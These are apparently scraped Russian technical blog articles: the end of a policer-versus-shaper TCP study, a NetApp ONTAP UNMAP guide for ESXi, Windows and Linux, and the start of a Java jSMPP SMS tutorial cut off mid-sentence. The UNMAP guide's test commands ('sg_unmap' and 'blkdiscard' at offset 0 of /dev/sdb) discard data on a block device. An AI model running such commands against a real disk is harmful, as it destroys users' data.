Так как пакеты передаются пачками, они будут располагаться в очереди таким же образом. В связи с этим задержка между поступлением пакетов на приёмной стороне будет двух типов: T1 и T2 (где T2 существенно превосходит T1). Общее значение RTT для всех пакетов будет одинаковым, но пакеты будут приходить пачками, разнесёнными по времени на значение T2. Вот и получаются паузы, так как в момент времени T2 никакие ACK к отправителю не приходят, при этом окно сессии остаётся неизменным (имеет максимальное значение равное awnd). Очередь WFQ Логично предположить, что, если заменить одну общую очередь FIFO на несколько для каждой сессии, никаких ярко выраженных пауз не будет. Для такой задачи нам подойдёт, например, очередь типа Weighted Fair Queuing ( WFQ ). В ней для каждой сессии создаётся своя очередь пакетов. policy-map Shaper class shaper_class shape average 20000000 queue-limit 200 packets fair-queue Из общего графика мы сразу видим, что графики всех четырёх TCP сессий идентичны. Т.е. все они получили одинаковую пропускную способность. А вот и наш график распределения пакетов по времени передачи ровно в том же масштабе, что и на Рис. 11. Никаких пауз нет. Стоит отметить, что очередь типа WFQ позволит нам получить не только более равномерное распределение пропускной способности, но и предотвратить «забивание» одного типа трафика другим. Мы всё время говорили про TCP, но в сети также присутствует и UDP трафик. UDP не имеет механизмов подстройки скорости передачи (flow control, congestion control). Из-за этого UDP трафик может с лёгкостью забить нашу общую очередь FIFO в shaper’е, что драматически повлияет на передачу TCP. Напомню, что, когда очередь FIFO полностью заполнена пакетами, по умолчанию начинает работать механизм tail-drop, при котором отбрасываются все вновь пришедшие пакеты. Если у нас настроена очередь WFQ, каждая сессия пережидает момент буферизации в своей очереди, а значит, сессии TCP будут отделены от сессий UDP. Самый главный вывод, который можно сделать после анализов графиков передачи пакетов при работе shaper’а – у нас нет потерянных пакетов. Из-за увеличения RTT скорость сессии адаптируется к скорости shaper’а. Влияет ли глубина очереди на нашу сессию? Конечно! Изначально (если кто-то об этом ещё помнит) мы изменили глубину очереди с 83 (значение по умолчанию) на 200 пакетов. Сделали мы это для того, чтобы очереди хватило для получения достаточного значения RTT, при котором суммарная скорость сессий становиться примерно равна 20 Мбит/с. А значит, пакеты «не вываливаются» из очереди shaper'а. При глубине в 83 пакета очередь переполняется быстрее, нежели достигается нужное значение RTT. Пакеты отбрасываются. Особенно ярко это проявляется на начальном этапе, когда у нас работает механизм TCP slow-start (сессия разгоняется максимально агрессивно). Стоит отметить, что количество отброшенных пакетов несравнимо меньше, чем в случае с policer, так как увеличение RTT приводит к тому, что скорость сессии растёт более плавно. Как мы помним, в алгоритме CTCP размер окна в том числе зависит от значения RTT. Графики утилизации пропускной способности и задержки при работе policer и shaper В заключение нашего небольшого исследования построим ещё несколько общих графиков, после чего перейдём к анализу полученных данных. График утилизации пропускной способности: В случае policer мы видим скачкообразный график: сессия разгоняется, потом наступают потери, и её скорость падает. После чего всё повторяется снова. В случае shaper наша сессия получает примерно одинаковую пропускную способность на протяжении всей передачи. Скорость сессии регулируется за счёт увеличения значения RTT. На обоих графиках вначале можно наблюдать взрывной рост. Он обусловлен тем, что наши вёдра изначально полностью заполнены токенами и TCP-сессия, ничем не сдерживаемая, разгоняется до относительно больших значений (в случае shaper это значение в 2 раза меньше). График задержки RTT для policer и shaper (по-хорошему, это первое о чём мы вспоминаем, когда говорим про shaper): В случае policer (первый график) задержка RTT для большинства пакетов минимальна, порядка 5 мс. На графике также присутствуют существенные скачки (до 340 мс). Это как раз моменты, когда пакеты отбрасывались и передавались заново. Тут стоит отметить, как Wireshark считает RTT для TCP трафика. RTT – это время между отправкой оригинального пакета и получением на него ACK. В связи с этим, если оригинальный пакет был потерян и система передавала пакет повторно, значение RTT растёт, так как точкой отсчёта является в любом случае момент отправки оригинального пакета. В случае shaper задержка RTT для большинства пакетов составила 107 мс, так как они все задерживаются в очереди. Есть пики до 190 мс. Выводы Итак, какие итоговые выводы можно сделать. Кто-то может заметить, что это и так понятно. Но наша цель была копнуть чуточку глубже. Напомню, что в эксперименте анализировалось поведение TCP-сессий. Shaper предоставляет нам на 13% больше полезной пропускной способности, чем policer (19.3 против 17.1 Мбит/с) при заданном ограничении в 20 Мбит/с. В случае shaper'а пропускная способность распределяется более равномерно между сессиями. Наилучший показатель может быть получен при включении очереди WFQ. При работе policer’а присутствуют существенные пики и падения скорости для каждой сессии. При работе shaper'а потерь пакетов практически нет (конечно, это зависит от ситуации и глубины очереди). При работе policer’а мы имеем существенные потери пакетов – 12.7%. Если policer настроен ближе к получателю, наша сеть фактически занимается прокачкой бесполезного трафика, который будет в итоге отброшен policer’ом. Например, в разрезе глобальной сети интернет это может является проблемой, так как трафик режется зачастую ближе к получателю. В случае shaper'а у нас появляется задержка (в нашем эксперименте – это дополнительные 102 мс). Если трафик примерно одинаков, без существенных всплесков, очередь shaper’а находится в относительно стабильном состоянии и больших вариаций в задержке (jitter) не будет. Если трафик будет иметь взрывной характер, мы можем получить повышенное значение jitter. Вообще наличие очереди может достаточно негативно сказываться на работе приложений – так называемый эффект излишней сетевой буферизации ( Bufferbloat ). Поэтому с глубиной очереди надо быть аккуратными. Благодаря разным типам очередей shaper позволяет нам учитывать приоритезацию трафика при ограничении скорости. И если встаёт необходимость отбрасывать пакеты, в первую очередь делать это для менее приоритетных. В policer'е добиться этого сложнее, а для некоторых схем невозможно. Policer и shaper подвержены ситуации, когда UDP трафик может «забить» TCP. При настройке этих технологий необходимо учитывать данный факт. Работа shaper'а создаёт бОльшую нагрузку на сетевое устройство, чем работа policer'а. Как минимум требуется память под очередь. Можно отметить ещё один факт, хоть и не относящийся непосредственно к задаче ограничения скорости. Shaper позволяет нам настраивать различные типы очередей (FIFO, WFQ и пр.), обеспечивая тем самым разнообразные уровни приоритезации трафика при его отправке через устройство. Это очень удобно в случаях, если фактическая скорость передачи трафика отличается от канальной (например, так часто бывает с выходом в интернет или WAN каналами). Исследование влияния policer в сети интернет В этом году при поддержке Google было проведено исследование , в котором анализировался негативный эффект работы policer’а в сети интернет. Было определено, что от 2% до 7% потерь видео трафика по всему Миру вызвано срабатыванием policer’а. Потери пакетов при непосредственной работе policer’а составили порядка 21%, что в 6 раз больше, чем для трафика, который не подвержен срабатыванию данной технологии. Качество видео трафика, который подвергся обработке policer’ом, хуже, чем в случае, если policer не срабатывал. Для борьбы с негативным эффектом работы policer’а предлагаются следующие меры в зависимости от точки их применения. Для интернет-провайдеров: В policer’е уменьшить размер ведра (burst size). Это приведёт к тому, что TCP сессия не сможет слишком сильно разогнаться, пока есть свободные токены, и быстрее начнёт адаптацию под реальную пропускную способность. Вместо policer’а использовать shaper (с небольшой глубиной очереди). Использовать и shaper, и policer одновременно. В этом случае shaper располагается чуть раньше, чем policer. Shaper задерживает пакеты, сглаживая колебания. Из-за такой задержки policer успевает аккумулировать достаточное количество токенов, чтобы передавать трафик. Потери в таком случае минимизируются. Однозначных рекомендаций по поводу конфигурации shaper в документе не даётся. Shaper может обеспечивать положительный эффект как при большом, так и при маленьком значении размера ведра (даже если BC = 8 000 байт). Также нет однозначной рекомендации по поводу глубины очереди. Маленькая глубина приводит к лишним потерям, большая может негативно сказаться на задержках в сети. Во всех случаях есть свои плюсы и минусы. Для контент-провайдеров предлагается ограничивать скорость отправки трафика на сервере, чтобы избегать включения policer’а. Но на практике оценить реальную скорость канала не всегда просто. Второй метод — избегать взрывной передачи трафика за счёт модификации алгоритмов TCP: использовать TCP Pacing (отправлять пакеты с привязкой к RTT, а не к моменту получения ACK) и изменить схему работы фазы loss recovery (на каждый полученный ACK слать только один новый пакет). Таким образом, нет однозначного ответа на вопрос, что лучше использовать: shaper или policer. Каждая технология имеет свои плюсы и минусы. Для кого-то дополнительная задержка и нагрузка на оборудование не так критична, как для другого. А значит выбор делается в сторону shaper. Кому-то важно минимизировать сетевую буферизацию для борьбы с джиттером – значит наша технология policer. В ряде случаев вообще можно использовать одновременно обе эти технологии. Поэтому выбор технологии зависит от каждой конкретной ситуации в сети.
https://habrahabr.ru/company/cbs/blog/317048/
habrahabr
NetApp ONTAP: UNMAP в SAN окружении
['SCSI3', 'UNMAP', 'SAN', 'FCP', 'FC', 'fibre channel', 'fibre channel (fc)', 'fibrechannel', 'iscsi', 'vmware', 'SCSI', 'T10', 'netapp', 'netapp FAS', 'FAS', 'Data Ontap', 'cDOT', 'Clustered ONTAP', 'Clustered Data Ontap', 'Cluster-Mode', 'thin provisioning', 'thinprovisioning', 'VMWare vSphere', 'VMWare ESXi', 'ESXi', 'vSphere 5', 'vsphere 5.5', 'esxi 5', 'ESXi 6', 'vSphere 6', 'vSphere', 'vmware vsphere 5.5', 'vmware vsphere 6', 'SBC3', 'SCSI-2', 'Unmap command supported', 'LBPU', 'SPC-4', 'mount', 'fsutil', 'fstrim', 'All Flash', 'space reclaimation', 'space reclaim', 'vmfs3', 'vmfs6', 'vmfs']
Команда UNMAP стандартизирована в рамках набора команд T10 SCSI и используется для высвобождения пространства из тонких лунов назад хрнилищу данных в SAN окружении. Как я писал ранее, протоколы SAN...
Команда UNMAP стандартизирована в рамках набора команд T10 SCSI и используется для высвобождения пространства из тонких лунов назад хрнилищу данных в SAN окружении. Как я писал ранее , протоколы SAN и NAS понемногу заимствуют друг у друга всё лучшее. Одна из полезных вещей которая появилась достаточно давно, это возможность обратной связи СХД и хоста, для того чтобы «возвращать» удалённые блоки в тонкий лун, чего раньше так не хватало в SAN. Функцией UNMAP по-прежнему мало кто пользуется в SAN окружении, хотя она очень полезна в сочетании как с виртуализированными так и не виртуализированными средами. Без поддержки команды UNMAP любой тонкий лун созданный на стороне СХД всегда мог только увеличиваться в размере . Его рост был вопросом времени, который безоговорочно всегда заканчивался тем, что такой тонкий лун в конце концов станет занимать свой полный объём, который ему положен, т.е. в конце концов он станет толстым. Вот представьте у вас на датасторе живут 3 виртуальные машины, каждая занимает 100GB. Ваш датастор находится на тонком луне, который занимает 300GB. Занимаемое пространство со стороны СХД и ESXi одинаковое: 300GB. После удаления одной ВМ, размер вашего луна со стороны СХД по-прежнему 300GB, а со стороны гипервизора занимаемое пространство на датасторе живущем на этом луне 200GB. Связанно это с тем, что ране не было механизма обратной связи хоста с СХД. А именно, когда хост записывал блок информации в луне, СХД в свою очередь помечала этот блок как используемый. Далее хост мог удалить этот блок, но система хранения уже об этом не знала. Команда UNMAP и есть эта обратная связь, которая отмапливает уже не нужный блок с луна. Наконец-то наш тонкий лун научился не только набирать, но и уменьшать свой вес начиная с версии прошивки (Clustered Data) ONTAP 8.2 . VMware ESXi & UNMAP В версии 5.0 функция UNMAP впервые была представлена, включена она была по умолчанию и автоматически запускалась при достижении заданного значения удалённых блоков, в последующих версиях механизм отключён по умолчанию и запускается вручную. Начиная с VMFS-6 (vSphere 6.5) высвобождение пространства происходит автоматически в течении 12 часов, при необходимости ручной механизм запуска высвобождения пространства также доступен. Важно отметить, что высвобождение пространства, о котором сейчас пойдёт речь происходит на уровне гипервизора, т.е. высвобождение удалённых блоков происходит только после удаления виртуальной машины или виртуальных дисков целиком , а не внутри гостевой ОС. Если у вас уже есть ESXi и СХД с ONTAP с поддержкой UNMAP, но функция не включена Нужно её включить со стороны СХД и со стороны гипервизора. Начнём с того, что переведём лун в оффлайн и включим функцию space-allocation на СХД (если там остались ВМ в запущенном состоянии, они завершат работу некорректно и возможно будут повреждены, так что их стоит или временно выключить, или временно мигрировать): lun modify -vserver vsm01 -volume vol2 -lun lun1_myDatastore -state offline lun modify -vserver vsm01 -volume vol2 -lun lun1_myDatastore -space-allocation enabled lun modify -vserver vsm01 -volume vol2 -lun lun1_myDatastore -state online После чего нужно включить unmap со стороны ESXi, для этого нужно отмапить и примапить датастор, чтобы ESXi обнаружил поддержку UNMAP (если там остались ВМ в запущенном состоянии, они завершат работу некорректно и возможно будут повреждены, так что их стоит или временно выключить или временно мигрировать): esxcli storage filesystem unmount -l myDatastore esxcli storage filesystem mount -l myDatastore esxcli storage vmfs unmap -l myDatastore После этого, чтобы высвобождать пространство, нужно будет периодически запускать команду: esxcli storage vmfs unmap -l myDatastore Важно отметить, что UNMAP работает только для лунов отформатированных со смещением партиции кратное 1 MB . Что это значит? Это значит, что, если вы когда-то конвертировали VMFS3 в VMFS5, UNMAP работать не будет. Проверить это просто, конвертированные VMFS3 имеют таблицу разбивки MBR, а VMFS5 которые были созданы заново имеют разбивку GPT. # esxcli storage core device partition showguid Example output: Device Partition Layout GUID ------------------------------------------------------------- naa.60a98000486e574f6c4a5778594e7456 0 MBR N/A naa.60a98000486e574f6c4a5778594e7456 1 MBR N/A naa.60a98000486e574f6c4a5052537a7375 0 GPT 00000000000000000000000000000000 naa.60a98000486e574f6c4a5052537a7375 1 GPT aa31e02a400f11db9590000c2911d1b8 Обратите внимение на колонку Layout. Проверить смещение тоже не сложно, смотрим на длинну сектора. Напомню сектор равен 512 байтам. # esxcli storage core device partition list Example output: Device Partition Start Sector End Sector Type Size ------------------------------------------------------------------------------------- naa.60a98000486e574f6c4a5778594e7456 0 0 3221237760 0 1649273733120 naa.60a98000486e574f6c4a5778594e7456 1 128 3221225280 fb 1649267277824 naa.60a98000486e574f6c4a5052537a7375 0 0 3221237760 0 1649273733120 naa.60a98000486e574f6c4a5052537a7375 1 2048 3221237727 fb 1649272667648 Обратите внимание на колонки «Start Sector» и «End Sector» . Итак, последнее устройство naa.60a98000486e574f6c4a5052537a7375 имеет смещение 1MB (2048 сектора*512 =1048576 byte = 1024KB). А вот второе устройство naa.60a98000486e574f6c4a5778594e7456 имеет смещение которое не кратно 1MB, оно явно меньше, UNMAP на нем работать не будет. Проверить поддерживается ли UNMAP ( Delete Status ) можно так: # esxcli storage core device vaai status get -d naa Example output: naa.60a98000486e574f6c4a5052537a7375 VAAI Plugin Name: VMW_VAAIP_NETAPP ATS Status: supported Clone Status: supported Zero Status: supported Delete Status: supported Автоматическое высвобождение пространства в vSphere 6.5 Автоматическое высвобождение пространства назад в тонкий лун на СХД поддерживается начиная с vSphere 6.5. Для каждого VMFS-6 датастора можно назначать приоритет высвобождения пространства High/Mid/Slow, которое будет возвращено хранилищу в течении 12 часов. Запуск высвобождения пространства и настройку приоритизаци для VMFS-6 датастора можно также выполнить вручную из графического интерфейса или из командной строки. esxcli storage vmfs reclaim config get -l DataStoreOnNetAppLUN Reclaim Granularity: 248670 Bytes Reclaim Priority: low esxcli storage vmfs reclaim config set -l DataStoreOnNetAppLUN -p high UNMAP из гостевой ОС. Итак, ранее мы рассмотрели удаление виртуальных машин из датастора. Логично было бы сделать тоже самое при удалении блоков данных изнутри гостевой ОС, а не целиком виртуальной машины или её дисков. UNMAP поддерживается на стороне СХД с ONTAP и для того, чтобы работал механизм UNMAP при удалении данных с VMDK, т.е. изнутри гостевой ОС, со стороны хранилища дополнительно ничего реализовывать не требуется, достаточно чтобы UNMAP был включён. Необходимо, чтобы гипервизор мог транслировать эту информацию от виртуальной машины к хранилищу что выполняется полностью на SCSI уровне. Итак начиная с ESXi 6.0 теперь есть возможность передавать информацию об удалённых блоках внутри гостевой ОС. Для работы UNMAP изнутри виртуальной машины необходимо соблюсти следующие условия и иметь: Virtual Hardware Version 11 VMFS6 vSphere 6.0*/6.5 лун СХД должен быть тонким виртуальные диски виртуалки должны быть тонкими файловая система гостевой ОС должна поддерживать UNMAP для vSphere 6.0 CBT должен быть выключен включить UNMAP на гипервизоре, если необходимо: esxcli storage vmfs unmap -l myDatastore включить UNMAP на СХД Never Thin on Thin Многие годы все вендоры СХД говорили не создавайте тонкие виртуальные диски на тонких лунах. Но теперь это изменилось и для того, чтобы высвобождать блоки изнутри виртуальной машины необходимо иметь тонкие виртуальные диски и тонкий лун на СХД. В версии vSphere 6.0 был реализован функционал возврата удалённых блоков изнутри гостевой ОС, но имел ряд ограничений при использовании UNMAP , к примеру не поддерживались Linux машины. В vSphere 6.0 и более старых версий с VMFS, функция UNMAP автоматически не запускается , нужно запускать команду вручную. Windows Guest OS support Для того, чтобы работало высвобождение пространства изнутри гостевой ОС Windows, файловая система NTFS обязана быть отформатирована с размером allocation unit равным 64КБ. Linux Guest OS SPC-4 support Виртуальные машины с Linux поддерживающие SPC -4 и работающие на vSphere 6.5 теперь также смогут возвращать высвобожденное пространство изнутри виртуальной машины назад в хранилище. Как проверить поддерживает ли ваша линукс машина высвобождение пространства? Проверка поддержки SPC-4 в виртуальной машине Linux Для этого запустите команду sg_vpd -p lbpv Logical block provisioning VPD page (SBC): Unmap command supported (LBPU): 1 Write same (16) with unmap bit supported (LBWS): 0 Write same (10) with unmap bit supported (LBWS10): 0 Параметр Unmap command supported (LBPU) установленный в значение 1 означает, что используется тонкий диск, что нам и требуется. А значение 0 означает что тип виртуального диска thick (eager или sparse), с толстыми дисками функция UNMAP работать не будет. sg_inq /dev/sdc -d standard INQUIRY: PQual=0 Device_type=0 RMB=0 version=0x02 [SCSI-2] [AERC=0] [TrmTsk=0] NormACA=0 HiSUP=0 Resp_data_format=2 SCCS=0 ACC=0 TPGS=0 3PC=0 Protect=0 [BQue=0] EncServ=0 MultiP=0 [MChngr=0] [ACKREQQ=0] Addr16=0 [RelAdr=0] WBus16=1 Sync=1 Linked=0 [TranDis=0] CmdQue=1 length=36 (0x24) Peripheral device type: disk Vendor identification: VMware Product identification: Virtual disk Product revision level: 1.0 Версия version=0x02 [SCSI-2] говорит о том, что UNMAP работать не будет, нам необходима версия SPC-4: sg_inq -d /dev/sdb standard INQUIRY: PQual=0 Device_type=0 RMB=0 version=0x06 [SPC-4] [AERC=0] [TrmTsk=0] NormACA=0 HiSUP=0 Resp_data_format=2 SCCS=0 ACC=0 TPGS=0 3PC=0 Protect=0 [BQue=0] EncServ=0 MultiP=0 [MChngr=0] [ACKREQQ=0] Addr16=0 [RelAdr=0] WBus16=1 Sync=1 Linked=0 [TranDis=0] CmdQue=1 length=36 (0x24) Peripheral device type: disk Vendor identification: VMware Product identification: Virtual disk Product revision level: 2.0 Давайте проверим что UNMAP включён и работает: Для этого запустим команду grep . /sys/block/sdb/queue/discard_max_bytes 1 значение 1 говорит о том, что гостевая ОС уведомляет SCSI уровень об удалённых блоках с файловой системы. Проверим высвобождается ли пространство при помощи UNMAP: sg_unmap --lba=0 --num=2048 /dev/sdb #или blkdiscard --offset 0 --length=2048 /dev/sdb Если вы получаете ошибку «blkdiscard: /dev/sdb: BLKDISCARD ioctl failed: Operation not supported» значит UNMAP не работает. Если же ошибки нет, то остаётся примонтировать файловую систему с ключём discard : mount /dev/sdb /mnt/netapp_unmap -o discard Важно помнить, что гипервизор VMware запускает UNMAP асинхронно , то есть с задержкой. Это означает, что на практике вы скорее всего, никогда не будете иметь занятое пространство 1:1, внутри гостевой ОС/на датасторе гипервизора и на луне СХД. VVOL Технология VVOL начиная с версии vSphere 6.0, VM Hardware версии 11 и Windows 2012 GOS с файловой системой NTFS поддерживает автоматическое высвобождение пространства внутрь тонкого луна на внешнем хранилище, на котором расположена данная виртуальная машина. Linux GOS поддерживающие SPC -4 установленные на VM Hardware версии 11 на vSphere 6.5 также смогут возвращать пространство изнутри виртуальной машины на тонкий лун СХД. Это существенно улучшает утилизацию полезного пространства в SAN инфраструктуре, использующей Thing Provisioning и Hardware-assistant снепшоты. Подробнее о тюнинге ESXi 6.x для ONTAP . Windows (Bare Metal) Поддержка команд UNMAP для этого семейства ОС началась с Windows Server 2012 с файловой системой NTFS. Для включения автоматического UNMAP используйте Windows Host Utility 6.0.2 и выше или ONTAP DSM 4.0 и выше. Для проверки включён ли UNMAP выполните fsutil behavior query disabledeletenotify . Состояние DisableDeleteNotify = 0 означает что UNMAP возвращает блоки на ходу (in-band). Если у хоста подключены несколько лунов с несколких СХД, часть которых не поддерживает UNMAP, рекомендуется выключить его. Подробнее о тюнинге Windows Server для ONTAP . Linux (Bare Metal) Linux дистрибутивы поддерживают UNMAP. NetApp официально поддерживает RHEL версии 6.2 и выше при помощи ключа –o discard команды mount и утилиты fstrim . Подробнее в RHEL6 Storage Admin Guide . Подробнее о тюнинге Linux Server для ONTAP . Zombie До версии ONTAP 9 операции удаления файлов генерировалии так называемые Zombie сообщения. ONTAP 8 & Zombie сообщения Высвобождение удалённых блоков позволяет с одной стороны существенно экономить дисковое пространство, но с другой стороны если хост запросит у СХД высвободить больше количество блоков, к примеру, терабайты данных, ваша СХД будет выполнять это и не успокоится пока не закончит, а это дополнительная активность на СХД. Высвобождение терабайта данных особенно будет заметно на дисковых или гибридных (не All Flash) системах. Поэтому стоит осторожно относиться к удалению большего количества данных одним махом на таких системах (терабайт). Если же вы попали в такую ситуацию, проконсультируйтесь с техподдержкой, возможно стоит увеличить значение wafl_zombie_ack_limit и wafl_zombie_msg_cnt . Если вам необходимо удалить все данные на луне, то лучше удалите на СХД целиком весь лун. All Flash системы, с другой стороны, намного менее восприимчивы к подобным запросам, и как правило, достаточно быстро и без усилий справляются с такими задачами. Удаление файлов в ONTAP 9 и приоритизация Напомню что ONTAP 9 была выпущена в мае 2016. В этой версии софта Zombie сообщения больше не генарируются для высвобождения пространства, вместо этого файл просто помечается для удаления. В связи с чем логика работы высвобождения пространства существенно изменилась: во-первых данные удаляются в фоне во-вторых появилась возможность приоритизации высвобождения пространство из тех вольюмов, которым больше это нужно т.е те у которых заканчивается пространство. Выводы Реализованная поддержка UNMAP, как на стороне гостевой ОС, хоста, так и на стороне хранилищ NetApp, позволяет более рационально утилизировать пространство в SAN окружении использующего Thin Provisioning и как следствие позволит более рационально использовать пространство СХД с аппаратными снепшотами. Поддержка UNMAP на уровне гипервизора, и тем более внутри гостевой ОС, существенно облегчит использование этих двух востребованных технологий. Сообщения по ошибкам в тексте прошу направлять в ЛС . Замечания, дополнения и вопросы по статье напротив, прошу в комментарии.
https://habrahabr.ru/post/271959/
habrahabr
Отправка СМС используя jSMPP методами UDH, SAR, Payload
['java', 'jsmpp', 'sms']
Наша компания занимается рассылками email и sms. На начальных этапах для рассылок смс мы использовали API посредника. Компания растет и клиентов становится все больше, мы приняли решение написать...
Наша компания занимается рассылками email и sms. На начальных этапах для рассылок смс мы использовали API посредника. Компания растет и клиентов становится все больше, мы приняли решение написать свой софт для отправки смс по протоколу smpp. Это нам позволило отправлять провайдеру набор байтов, а он уже распределял трафик по странам и внутренним операторам. После ознакомления с доступными и бесплатными библиотеками для отправки смс выбор пал на jsmpp . Информацию по использованию, кроме этой , в основном разбирал из google по jsmpp . Описание самого протокола SMPP на русском языке тыц . Надеюсь, что этой статьей я многим облегчу жизнь при написании SMPP сервиса. Введение Давайте начнем с поэтапного анализа отправки смс. Логика отправки смс выглядит следующим образом: 1. Клиент передает Вам смс которую хочет отправить (в виде json): { "sms_id": "test_sms_123", "sender": "Ваше альфа имя", "phone": "380959999900", "text_body": "Привет! Ты выиграл 1000000$!", "flash": 0 } Параметр flash говорит, о том что это не flash смс . 2. Когда мы получаем данные, мы начинаем их готовить под тот способ, каким мы будете его отправлять провайдеру, а именно: UDH, SAR, Payload . Все зависит от того какой способ поддерживает Ваш провайдер. 3. Вы передаете данные провайдеру и он Вам отдает в ответ строку, которая идентифицирует прием смс провайдером, я назвал ее transaction_id . 4. Отправка смс оставляет за провайдером право на возвращения Вам окончательного статуса (доставлено, недоставлено и т.д.) на протяжении 48 часов. Поэтому Вам прийдется сохранять Ваш sms_id и полученный transaction_id . 5. Когда смс доставилась получателю, провайдер Вам передает transaction_id и статус (DELIVERED). Статусы По статусам посоветую 2 статьи: здесь описывается и дается название только 10 статусам, а здесь уже полный перечень кодов статусов и их полное описание. Maven зависимость для API jSmpp: <dependency> <groupId>com.googlecode.jsmpp</groupId> <artifactId>jsmpp</artifactId> <version>2.1.0-RELEASE</version> </dependency> Опишу основные классы, с которыми мы будем работать: SMPPSession — сессия, которая создается для пользователя, которого Вы зарегистрировали у провайдера и со счета которого снимаются деньги; SessionStateListener — слушатель извещает Вас о том, что статус Вашей сессии был изменен, например сессия закрылась; MessageReceiverListener — слушатель возвращает объект DeliverSm , в котором хранится transaction_id , статус и мобильный номер ; Способ отправки Payload Самый простой способ отправки это payload . Вне зависимости от того, какой длины смс Вы отправляете, Вы отправляете смс одним пакетом данных. Провайдер сам заботится о разбиении смс на части. Склейка частей уже происходит на телефоне получателя. С него и начнем обзор реализации отправки смс. Для начала нам нужно подключиться к провайдеру. Для этого нам необходимо создать сессию и ее слушателя, а также слушателя, который реагирует на прием статусов отправленных смс. Ниже приведен пример метода createSmppSession подключения к провайдеру, данные которого хранятся в мною созданном классе SmppServer . Он содержит такие данные: логин, пароль, ip, порт и т.д. Метод создающий SMPP подключение protected SMPPSession session; protected SmppServer server; private ExecutorService receiveTask; private SessionStateListener stateListener; ... // some of your code public void createSmppSession() { StopWatchHires watchHires = new StopWatchHires(); watchHires.start(); log.info("Start to create SMPPSession {}", sessionName); try { session = new SMPPSession(); session.connectAndBind(server.getHostname(), server.getPort(), new BindParameter( BindType.BIND_TRX, server.getSystemId(), server.getPassword(), server.getSystemType(), TypeOfNumber.UNKNOWN, NumberingPlanIndicator.UNKNOWN, null)); stateListener = new SessionStateListenerImpl(); session.addSessionStateListener(stateListener); session.setMessageReceiverListener(new SmsReceiverListenerImpl()); session.setTransactionTimer(TRANSACTION_TIMER); if (Objects.isNull(receiveTask) || receiveTask.isShutdown() || receiveTask.isTerminated()) { this.receiveTask = Executors.newCachedThreadPool(); } watchHires.stop(); log.info("Open smpp session id {}, state {}, duration {} for {}", session.getSessionId(), session.getSessionState().name(), watchHires.toHiresString(), sessionName); } catch (IOException e) { watchHires.stop(); if (SmppServerConnectResponse.contains(e.getMessage())) { log.error("Exception while SMPP session creating. Reason: {}. Duration {}, {}", e.getMessage(), watchHires.toHiresString(), sessionName); close(); return; } else if (e instanceof UnknownHostException) { log.error("Exception while SMPP session creating. Unknown hostname {}, duration {}, {}", e.getMessage(), watchHires.toHiresString(), sessionName); close(); return; } else { log.error("Failed to connect SMPP session for {}, duration {}, Because {}", sessionName, watchHires.toHiresString(), e.getMessage()); } } if (!isConnected()) { reconnect(); } } Из этого примера видно, что мы используем объеты классов SmsReceiverListenerImpl и SessionStateListenerImpl для создания сессии. Первый отвечает за прием статусов отправленных смс, второй — слушатель сессии. Класс SessionStateListenerImpl в методе onStateChange получает класс старого состояния сессии и нового. В данном примере, если сессия не подключена, происходит попытка переподключения. Слушатель SMPP сессии /** * This class will receive the notification from {@link SMPPSession} for the * state changes. It will schedule to re-initialize session. */ class SessionStateListenerImpl implements SessionStateListener { @Override public void onStateChange(SessionState newState, SessionState oldState, Object source) { if (!newState.isBound()) { log.warn("SmppSession changed status from {} to {}. {}", oldState, newState, sessionName); reconnect(); } } } Пример SmsReceiverListenerImpl . Вам придется переопределить 3 метода: onAcceptDeliverSm , onAcceptAlertNotification , onAcceptDataSm . Нам для отправки смс нужен только первый. Он будет получать от провайдера transaction_id , под которой зарегистрировал провайдер нашу смс и статус. В этом примере Вы встретите два класса: SmppErrorStatus и StatusType — это enum -классы, которые хранят статусы с ошибками и статусы отправки (отправлено провайдеру, не отправлено провайдеру и т.д.) соответственно. Слушатель смс статусов /*The logic on this listener should be accomplish in a short time, because the deliver_sm_resp will be processed after the logic executed.*/ class SmsReceiverListenerImpl implements MessageReceiverListener { @Override public void onAcceptDeliverSm(DeliverSm deliverSm) throws ProcessRequestException { if (Objects.isNull(deliverSm)) { log.error("Smpp server return NULL delivery answer"); return; } try { // this message is delivery receipt DeliveryReceipt delReceipt = deliverSm.getShortMessageAsDeliveryReceipt(); //delReceipt.getId() must be equals transactionId from SMPPServer String transactionId = delReceipt.getId(); StatusType statusType; String subStatus; if (MessageType.SMSC_DEL_RECEIPT.containedIn(deliverSm.getEsmClass())) { // && delReceipt.getDelivered() == 1 statusType = getDeliveryStatusType(delReceipt.getFinalStatus()); SmppErrorStatus smppErrorStatus = SmppErrorStatus.contains(delReceipt.getError()); if (smppErrorStatus != null) subStatus = smppErrorStatus.name(); else subStatus = delReceipt.getError(); } else { statusType = StatusType.SMS_UNDELIVERED; // this message is regular short message log.error("Delivery SMS event has wrong receipt. Message: {}", deliverSm.getShortMessage()); subStatus = SmppErrorStatus.INVALID_FORMAT.name(); } // some providers return phone number in deliverSm.getSourceAddr() String phoneNumber = deliverSm.getDestAddress(); saveDeliveryStatus(transactionId, statusType, subStatus, phoneNumber)); log.info("Receiving delivery receipt from {} to {}, transaction id {}, status {}, subStatus {}", deliverSm.getSourceAddr(), deliverSm.getDestAddress(), transactionId, statusType, subStatus); } catch (InvalidDeliveryReceiptException e) { log.error("Exception while SMS is sending, destination address {}, {}", deliverSm.getDestAddress(), e.getMessage(), e); } } @Override public void onAcceptAlertNotification(AlertNotification alertNotification) { log.error("Error on sending SMS message: {}", alertNotification.toString()); } @Override public DataSmResult onAcceptDataSm(DataSm dataSm, Session source) throws ProcessRequestException { log.debug("Event in SmsReceiverListenerImpl.onAcceptDataSm!"); return null; } private StatusType getDeliveryStatusType(DeliveryReceiptState state) {<cut /> if (state.equals(DeliveryReceiptState.DELIVRD)) return StatusType.SMS_DELIVERED; else if (state.equals(DeliveryReceiptState.ACCEPTD)) return StatusType.ACCEPTED; else if (state.equals(DeliveryReceiptState.DELETED)) return StatusType.DELETED; else if (state.equals(DeliveryReceiptState.EXPIRED)) return StatusType.EXPIRED; else if (state.equals(DeliveryReceiptState.REJECTD)) return StatusType.REJECTED; else if (state.equals(DeliveryReceiptState.UNKNOWN)) return StatusType.UNKNOWN; else return StatusType.SMS_UNDELIVERED; } } Ну и наконец-то самый главный метод — метод отправки смс. Выше описанный JSON я дессериализировал в объект SMSMessage , поэтому, встречая объект этого класса, знайте, что он содержит всю нужную информацию про отправляемую смс. Метод sendSmsMessage , описанный ниже, возвращает объект класса SingleSmppTransactionMessage , который содержит в себе данные об отправленной смс с transaction_id , который был присвоен провайдером. Класс Gsm0338 помогает определить содержание кириллических символов в смс. Это важно, так как мы должны сообщать провайдеру об этом. Этот класс был построен на основе документа . Enum класс SmppResponseError был построен на 